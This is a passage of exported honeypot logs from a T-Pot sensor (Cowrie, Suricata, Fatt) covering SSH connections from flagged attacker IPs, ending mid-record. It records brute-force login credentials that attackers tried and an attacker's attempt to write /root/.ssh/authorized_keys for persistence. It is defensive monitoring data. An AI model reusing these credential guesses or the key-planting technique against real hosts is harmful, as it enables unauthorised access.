31277	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:01.824792+03	2021-09-20 14:45:04.278172+03	{"_id": "JAYFA3wBvYTbRNuEKkPj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:01.824792Z", "@timestamp": "2021-09-20T11:44:01.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31278	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:44:03.191798+03	2021-09-20 14:45:04.279173+03	{"_id": "JQYFA3wBvYTbRNuELUOR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49816, "timestamp": "2021-09-20T11:44:03.191798", "@timestamp": "2021-09-20T11:44:03.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31282	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:03.403846+03	2021-09-20 14:45:04.284173+03	{"_id": "LwYFA3wBvYTbRNuELkPO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "85a1133be76b", "@version": "1", "timestamp": "2021-09-20T11:44:03.403846Z", "@timestamp": "2021-09-20T11:44:03.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31283	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:44:03.403395+03	2021-09-20 14:45:04.285172+03	{"_id": "MAYFA3wBvYTbRNuEMEOF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 2241427266524712, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49816, "dest_port": 22, "timestamp": "2021-09-20T11:44:03.403395Z", "@timestamp": "2021-09-20T11:44:03.403Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31284	150.109.115.128	109.199.241.180	Fatt	2021-09-20 14:44:03.40348+03	2021-09-20 14:45:04.286145+03	{"_id": "MQYFA3wBvYTbRNuEMUN6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49816, "dest_port": 22, "timestamp": "2021-09-20T11:44:03.403480", "@timestamp": "2021-09-20T11:44:03.403Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31285	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:04.352494+03	2021-09-20 14:45:04.288181+03	{"_id": "MgYFA3wBvYTbRNuEMkO2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "85a1133be76b", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:44:04.352494Z", "@timestamp": "2021-09-20T11:44:04.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31286	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:06.312649+03	2021-09-20 14:45:04.289179+03	{"_id": "RQYFA3wBvYTbRNuEOkOI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "150.109.115.128", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4243488311767578, "duplicate": true, "timestamp": "2021-09-20T11:44:06.312649Z", "@timestamp": "2021-09-20T11:44:06.312Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31287	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:44:06.170246+03	2021-09-20 14:45:04.290144+03	{"_id": "QwYFA3wBvYTbRNuEOkOI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.login.failed", "message": "login attempt [photo/1] failed", "session": "edc43aa3aa69", "@version": "1", "password": "1", "username": "photo", "timestamp": "2021-09-20T11:44:06.170246Z", "@timestamp": "2021-09-20T11:44:06.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31288	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:06.309746+03	2021-09-20 14:45:04.291173+03	{"_id": "RAYFA3wBvYTbRNuEOkOI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "150.109.115.128", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "d8a32464a4ea", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:44:06.309746Z", "@timestamp": "2021-09-20T11:44:06.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
31289	150.109.115.128	109.199.241.180	Suricata	2021-09-20 14:44:01.824517+03	2021-09-20 14:45:04.292171+03	{"_id": "HwYFA3wBvYTbRNuEKEO0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:44:01.395260+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1940534742550524, "payload": "AAADzAYUyFy270ku2hi3XDIUvx9XeQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49628, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:44:01.824517Z", "@timestamp": "2021-09-20T11:44:01.824Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......\\\\..I....\\\\2...Wy...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
31290	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:44:01.609807+03	2021-09-20 14:45:04.294142+03	{"_id": "IQYFA3wBvYTbRNuEKUOp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49628, "timestamp": "2021-09-20T11:44:01.609807", "@timestamp": "2021-09-20T11:44:01.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
31291	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:44:05.347964+03	2021-09-20 14:45:04.295142+03	{"_id": "PgYFA3wBvYTbRNuEOENW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:44:04.990838+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 641034405289590, "payload": "AAADzAYUuFOVJRsHg3KVcasLHLXa2QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55516, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:44:05.347964Z", "@timestamp": "2021-09-20T11:44:05.347Z", "event_type": "alert", 